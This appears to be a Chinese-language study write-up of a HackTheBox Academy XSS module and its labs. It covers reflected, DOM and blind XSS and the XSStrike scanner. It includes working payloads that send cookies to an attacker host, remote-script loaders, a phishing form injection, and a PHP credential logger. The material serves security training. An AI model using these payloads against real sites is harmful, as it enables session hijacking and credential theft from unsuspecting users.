XSS Testing Payloads
我们可以通过以下基本XSS负载来测试页面是否易受XSS攻击:
<script>alert(window.origin)</script>
Code | Description |
---|---|
XSS Payloads | |
<script>alert(window.origin)</script> |
Basic XSS Payload |
<plaintext> |
Basic XSS Payload |
<script>print()</script> |
Basic XSS Payload |
<img src="" onerror=alert(window.origin)> |
HTML-based XSS Payload |
<script>document.body.style.background = "#141d2b"</script> |
Change Background Color |
<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script> |
Change Background Image |
<script>document.title = 'HackTheBox Academy'</script> |
Change Website Title |
<script>document.getElementsByTagName('body')[0].innerHTML = 'text'</script> |
Overwrite website’s main body |
<script>document.getElementById('urlform').remove();</script> |
Remove certain HTML element |
<script src="http://OUR_IP/script.js"></script> |
Load remote script |
<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script> |
Send Cookie details to us |
Commands | |
python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test" |
Run xsstrike on a url parameter |
sudo nc -lvnp 80 |
Start netcat listener |
sudo php -S 0.0.0.0:80 |
Start PHP server |
提示:许多现代web应用程序使用跨域IFrame来处理用户输入,因此即使web表单易受XSS攻击,它也不会成为主web应用程序上的漏洞。这就是为什么我们在警告框中显示window.origin的值,而不是像1这样的静态值。在这种情况下,警报框会显示它正在执行的URL,并确认哪个表单是易受攻击的表单,以防使用IFrame。
由于一些现代浏览器可能会在特定位置阻止alert()
JavaScript函数,因此了解一些其他基本的XSS有效载荷来验证XSS的存在可能会很方便。一个这样的XSS有效载荷是<明文>,它将停止呈现后面的HTML代码,并将其显示为明文。另一个容易发现的负载是<script>print()</script>
,它将弹出浏览器打印对话框,任何浏览器都不太可能阻止它。试着使用这些有效载荷来看看每个有效载荷是如何工作的。
practice
To get the flag, use the same payload we used above, but change its JavaScript code to show the cookie instead of showing the url.
<script>alert(window.origin)</script>
输入测试注入后发现可以触发XSS漏洞:
然如注入
<script>alert( document.cookie)</script>
从DOM读取cookie并反弹即可
Reflected XSS
有两种类型的非持久性XSS漏洞:反射XSS,由后端服务器处理;基于DOM的XSS,完全在客户端处理,永远不会到达后端服务器。与持久XSS不同,非持久XSS漏洞是暂时的,通过页面刷新不会持久存在。因此,我们的攻击只影响目标用户,不会影响访问该页面的其他用户。 当我们的输入到达后端服务器并在未经过滤或净化的情况下返回给我们时,就会出现反映的XSS漏洞。在许多情况下,我们的整个输入可能会返回给我们,比如错误消息或确认消息。在这些情况下,我们可能会尝试使用XSS有效载荷来查看它们是否执行。然而,由于这些通常是临时消息,一旦我们离开页面,它们就不会再次执行,因此它们是非持久性的。
正如我们所看到的,单引号确实包含我们的XSS负载“<script>alert(window.origin)</script>”。 如果我们再次访问Reflected页面,错误消息将不再出现,并且我们的XSS负载也不会执行,这意味着这个XSS漏洞确实是非持久性的。 但是,如果XSS漏洞是非持久性的,我们将如何用它来瞄准受害者? 这取决于使用哪个HTTP请求将我们的输入发送到服务器。我们可以通过Firefox开发工具点击[CTRL+I]并选择“网络”选项卡来检查这一点。然后,我们可以再次放入测试负载,并点击“添加”发送它
正如我们所看到的,第一行显示我们的请求是一个GET请求。GET请求将它们的参数和数据作为URL的一部分发送。因此,为了针对用户,我们可以向他们发送一个包含我们的有效负载的URL。要获取URL,我们可以在发送XSS负载后从Firefox的URL栏中复制URL,也可以右键单击“网络”选项卡中的get请求,然后选择“复制”>“复制URL”。一旦受害者访问此URL,XSS负载将执行
practice
这里发送payload后在浏览器中找到了该请求,然后可以复制其url发送给其他用户触发XSS,curl也是可以的:
DOM XSS
document.getElementById("todo").innerHTML = "<b>Next Task:</b> " + decodeURIComponent(task);
我们可以看到,我们可以控制输入,而输出没有被净化,所以这个页面应该容易受到DOM XSS的攻击。
DOM Attacks
如果我们尝试以前使用过的XSS负载,我们会发现它不会执行。这是因为innerHTML函数不允许将其中的<script>标记用作安全功能。尽管如此,我们使用的许多其他XSS有效载荷都不包含<script>标签,比如下面的XSS有效负载:
<img src="" onerror=alert(window.origin)>
XSS Discovery
Automated Discovery
几乎所有的Web应用程序漏洞扫描程序(如Nessus、Burp Pro或ZAP)都具有检测所有三种类型的XSS漏洞的各种功能。这些扫描仪通常进行两种类型的扫描:被动扫描,用于检查客户端代码中是否存在潜在的基于DOM的漏洞;主动扫描,用于发送各种类型的有效载荷,试图通过在页面源中注入有效载荷来触发XSS。
虽然付费工具在检测XSS漏洞方面通常具有更高的准确性(尤其是在需要安全绕过的情况下),但我们仍然可以找到开源工具来帮助我们识别潜在的XSS漏洞。这些工具通常通过识别网页中的输入字段,发送各种类型的XSS有效载荷,然后比较渲染的页面源,看看是否可以在其中找到相同的有效载荷,这可能表明XSS注入成功。尽管如此,这并不总是准确的,因为有时,即使注入了相同的有效载荷,由于各种原因,也可能无法成功执行,因此我们必须始终手动验证XSS注入。
可以帮助我们发现XSS的一些常见开源工具是XSS Strike、Brute XSS和 XSSer。我们可以通过gitclone将XSS Strike克隆到我们的VM来尝试:
Tanin@htb[/htb]$ git clone https://github.com/s0md3v/XSStrike.git
Tanin@htb[/htb]$ cd XSStrike
Tanin@htb[/htb]$ pip install -r requirements.txt
Tanin@htb[/htb]$ python xsstrike.py
Tanin@htb[/htb]$ python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"
XSStrike v3.1.4
[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: task
[!] Reflections found: 1
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 3072
------------------------------------------------------------
[+] Payload: <HtMl%09onPoIntERENTER+=+confirm()>
[!] Efficiency: 100
[!] Confidence: 10
[?] Would you like to continue scanning? [y/N]
Manual Discovery
当涉及到手动XSS发现时,发现XSS漏洞的难度取决于web应用程序的安全级别。基本XSS漏洞通常可以通过测试各种XSS有效载荷来发现,但识别高级XSS漏洞需要高级代码审查技能。
XSS Payloads
查找XSS漏洞的最基本方法是针对给定网页中的输入字段手动测试各种XSS有效载荷。我们可以在网上找到XSS有效载荷的巨大列表,比如 [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS Injection/README.md)上的或PayloadBox中的。然后,我们可以开始逐一测试这些有效载荷,方法是复制每个有效载荷并将其添加到我们的表单中,然后查看是否弹出警报框。
practice
Utilize some of the techniques mentioned in this section to identify the vulnerable input parameter found in the above server. What is the name of the vulnerable parameter?
What type of XSS was found on the above server? “name only”
我们使用工具进行扫描后发现email是可以注入xss的,然后把email参数用之前的测试代码测试了一下,发现确实可以:
Phishing
另一种非常常见的XSS攻击是网络钓鱼攻击。网络钓鱼攻击通常利用看起来合法的信息诱骗受害者将其敏感信息发送给攻击者。XSS网络钓鱼攻击的一种常见形式是通过注入伪造的登录表单,将登录详细信息发送到攻击者的服务器,然后攻击者可以使用该服务器代表受害者登录并控制其帐户和敏感信息。
practice
尝试为在上述服务器中的“/philishing”中找到的图像URL表单找到一个有效的XSS负载,然后使用您在本节中学到的内容准备一个注入恶意登录表单的恶意URL。然后访问“/philish/send.php”将URL发送给受害者,他们将登录到恶意登录表单。如果您做得正确,您应该收到受害者的登录凭据,您可以使用该凭据登录到“/philishing/login.php”并获取标志。
我们来到钓鱼网站,确认网站可以注入后,尝试注入一个简单的钓鱼表单:
<div>
<h3>Please login to continue</h3>
<input type="text" placeholder="Username">
<input type="text" placeholder="Password">
<input type="submit" value="Login">
<br><br>
</div>
注入代码:
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');
在用户‘登录’之前,我们不应该让原页面出现在页面上,这违背了我们的“请登录以继续”这句话。因此,为了鼓励受害者使用登录表单,我们应该删除URL字段,这样他们可能会认为必须登录才能使用该页面。为此,我们可以使用JavaScript函数document.getElementById().remove()函数。 要找到要删除的HTML元素的id,我们可以通过单击[CTRL+SHIFT+C]打开页面检查器选取器,然后单击我们需要的元素可以得到该表单的id,然后将其移除:
document.getElementById('urlform').remove();
我们发现还有一个原始的html代码在我们注入的表单之后,再插入一个注释将其删除:
...PAYLOAD... <!--
完整的payload为:
'><script>document.write('<h3>Please login to continue</h3><form action=http://10.10.16.18><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();</script><!--
这里的开头要闭合一下前面的标签
最后我们得到了一下页面:
此时我们用nc监听我们的80端口,然后用test:test”登录”网页:
我们盗取到了用户的凭证,然而,由于我们只使用netcat侦听器进行侦听,它将无法正确处理HTTP请求,受害者将收到“无法连接”错误,这可能会引起一些怀疑。因此,我们可以使用一个基本的PHP脚本来记录HTTP请求中的凭据,然后在不进行任何注入的情况下将受害者返回到原始页面。在这种情况下,受害者可能认为他们成功登录,并将按预期使用图像查看器。
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
$file = fopen("creds.txt", "a+");
fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
header("Location: http://SERVER_IP/phishing/index.php");
fclose($file);
exit();
}
?>
这里要把第五行的重定向地址更改为目标地址。Location
是一个 HTTP 响应头,用于指示浏览器重定向到另一个页面。当服务器返回带有 Location
头的响应时,浏览器会根据该头信息将用户自动重定向到指定的 URL。
写好文件后搭建一个php服务器:
sudo php -S 0.0.0.0:80
具体而言:
sudo
: 使用超级用户权限执行命令,可能需要管理员密码验证。php
: 启动 PHP 解释器。-S
: 启动 PHP 内置的 Web 服务器。0.0.0.0:80
: 指定服务器监听的 IP 地址为 0.0.0.0,这表示允许所有可用的网络接口访问。端口为 80,这是默认的 HTTP 端口。
此时网页就会自动重定向到原网页了:
Session Hijacking
Blind XSS Detection
盲XSS漏洞通常发生在只有特定用户(例如Admins)才能访问的表单中。一些潜在的例子包括: 联系人表格 评论 用户详细信息 支持票证 HTTP用户代理标头
我们将看不到我们的输入将如何处理,也看不到它在浏览器中的外观,因为它只会在我们无法访问的某个管理面板中显示给管理员。在正常情况下(即非盲),我们可以测试每个字段,直到我们得到一个警告框,就像我们在整个模块中所做的那样。然而,在这种情况下,由于我们无法访问Admin面板,如果我们看不到如何处理输出,我们如何检测XSS漏洞?
为此,我们可以使用上一节中使用的相同技巧,即使用JavaScript负载将HTTP请求发送回服务器。如果JavaScript代码被执行,我们将在机器上得到响应,我们就会知道页面确实存在漏洞。 然而,这引入了两个问题: 我们如何才能知道哪个特定领域是脆弱的?由于任何一个字段都可能执行我们的代码,所以我们不知道它们中的哪一个执行了。 我们如何知道要使用什么XSS有效载荷?既然页面可能有漏洞,但有效负载可能不起作用?
Loading a Remote Script
在HTML中,我们可以在<script>标记中编写JavaScript代码,但我们也可以通过提供其URL来包含远程脚本,如下所示:
<script src="http://OUR_IP/script.js"></script>
因此,我们可以使用它来执行虚拟机上提供的远程JavaScript文件。我们可以将请求的脚本名称从script.js更改为我们正在注入的字段的名称,这样,当我们在VM中获得请求时,我们可以识别执行脚本的易受攻击的输入字段
如果我们收到/username的请求,那么我们就知道username字段容易受到XSS的攻击,等等。这样,我们就可以开始测试加载远程脚本的各种XSS有效载荷,并查看其中哪些向我们发送请求。以下是我们可以从PayloadsAllTheThings中使用的几个示例:
"><script src="http://10.10.16.26/script.js"></script>
"><script new Image().src='http:/10.10.16.26/index.php?c='+document.cookie;></script>
"><script src=http://10.10.16.26></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://10.10.16.26\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//10.10.16.26");a.send();</script>
<script>$.getScript("http://10.10.16.26")</script>
Skills Assessment
What is the value of the ‘flag’ cookie?
网站大概是这么样子:
发现没有url回显,只能手工注入检测
最后测试发现注入点是最下面的website
注入:
"><script src="http://10.10.16.26:8080/script.js"></script>
然后本地script.js:
new Image().src='http://10.10.16.26:8080/index.php?c='+document.cookie;
然后用nc监听一下8080端口或者在8080端口启动一个服务器: